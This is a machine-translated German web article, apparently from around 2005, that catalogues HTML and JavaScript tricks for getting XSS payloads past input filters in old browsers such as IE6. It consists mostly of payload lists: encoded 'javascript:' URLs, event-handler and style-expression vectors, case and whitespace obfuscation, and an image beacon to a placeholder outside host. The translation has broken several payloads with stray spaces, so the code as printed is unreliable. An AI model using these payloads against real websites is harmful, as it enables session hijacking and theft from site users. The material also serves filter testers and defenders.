This page has been robot translated, sorry for typos if any. Original content here.

HTML-Syntaxfunktionen

Schöpfer: Algol , zFailure - die letzten Änderungen 13.06.2005

Eine der Hauptmethoden zum Schutz von Websites vor XSS-Sicherheitslücken ist die Verwendung verschiedener Filter für vom Benutzer eingegebene Zeichen. In diesem Beitrag werden HTML-Syntaxfunktionen beschrieben, mit denen Sie diese Filter umgehen können.

Es ist zu beachten, dass XSS-Schwachstellen vom Browser abhängig sind. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern funktionieren Beispiele möglicherweise ebenfalls nicht. Beispielsweise ist das umgekehrte Apostrophzeichen (`) nur in IE ein Attributtrennzeichen. Andere Browser wie beispielsweise Opera betrachten dieses Symbol nicht als Begrenzer.

  • Tag-Attribut-Begrenzer.
    Zusätzlich zum Leerzeichen dürfen die folgenden Zeichen verwendet werden: Schrägstrich ( / ), Tabulator, Zeilenumbruch. Das Trennzeichen darf weggelassen werden, wenn das vorherige Zubehör in Anführungszeichen steht.
     <image / src = "1.png" / alt = "Hint" / border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
     <Bild
     src = "1.png"
     alt = "Hinweis"
     border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
    
  • Tag-Attribut-Begrenzer
    Werte dürfen auch in den Apostrophen in Anführungszeichen (doppelt und einfach) gesetzt werden, nur die allgemeinen dürfen nicht einschränken.
     <image src = "" alt = "Mein Tipp" border = "0">
     <image src = "" alt = 'Mein Hinweis' border = "0">
     <image src = "" alt = "Mein Tipp" border = "0">
     <image src = "" alt = Hint border = "0">
    
  • Zeichenkodierungen
    Das Entschlüsseln von Zeichen in einem Skript erfolgt vor dessen Ausführung:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> klick mich an </a> (nur im href- Attribut)
    
    
  • Begrenzer von Zeichenliteralen in Skripten
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Umgehen der Zeichenfilterung
      <img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (Ersetzen Sie das Leerzeichen durch / ** /)
    
    
  • Möglichkeiten zum Ausführen von Skripten
    Es gibt verschiedene Möglichkeiten, Skripte automatisch auszuführen:
      <script> alert ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (funktioniert nur einmal) <style type = "text / css"> @import url (Javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (nur im IE) <a href=javascript:alert(%22ok%22)> klick mich </a> (nur beim Klicken auf den Link ausführen) <a href = Javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> klick mich an </a> (nur durch Klicken auf den Link ausführen) <br SIZE = "& {alert ('XSS')} "> (nur Netscape 4.x)
    
    
  • Verschiedene Skriptprotokolle, Schreibweisen
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (Leerzeichen bis zum Wort javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = Javascript & # 9: alert ()>
     <img src = Javascript & # 10: alert ()>
     <img src = Javascript & # 13: alert ()>
     <img src = "Javascript
     : alert () "> (vor dem Doppelpunkt - Tabulatorzeichen)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (innerhalb des Wortes Javascript - das Tabulatorzeichen ist auch ein Wagenrücklauf)
     
    
  • Skripteinfügungen mit Stil
    Skriptoperatoren im style- Attribut müssen durch " \; " geteilt werden.
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Spezielle Tags.
      <image src = "1.png" alt = "" border = "0"> (das img-Tag hat auch dasselbe Bild ) <textarea> (alles, was sich nach diesem Tag bewegt, wird als einfacher Text wahrgenommen - überhaupt nicht als HTML) <xml> (alles, was sich nach diesem Tag bewegt, wird nicht angezeigt)
    
    
  • Tabelle häufig verwendeter Codes:

    Symbol Dezimalcodierung 16. Kodierung * Zeichenkodierung URL-Codierung
    " & # 34 & # x22; & quot; % 22
    ' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <Leerzeichen> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <Wagenrücklauf> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <kurzer Bindestrich> & # 173 & # xAD; & schüchtern % AD
    & & # 38 & # x26; & amp; % 26

    * - In einigen Fällen können Sie das Semikolon weglassen (wenn sich das Zeichen am Ende der Zeile befindet oder mehrere Zeichen in dieser Kodierung hintereinander stehen).

    Siehe verwandte: http://ha.ckers.org/xss.html
  • Es wäre nicht überflüssig für Ihre Freunde, diese Informationen herauszufinden und den Artikel mit ihnen zu teilen!

    Kommentare Kommentarfenster erweitern / minimieren erweitern / reduzieren

    Beachten Sie bei Ihren Kommentaren, dass Inhalt und Ton Ihrer Nachricht die Gefühle von echten Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie deren Meinung nicht teilen. Ihr Verhalten unter den Bedingungen der Meinungsfreiheit und Anonymität, die das Internet bietet, ändert sich nicht nur virtuell, sondern auch real. Alle Kommentare sind vor dem Index verborgen, Spam wird kontrolliert.
    Gefällt es dir Abonnieren Sie RSS- Feeds,
    die ersten sein, die Informationen erhalten
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: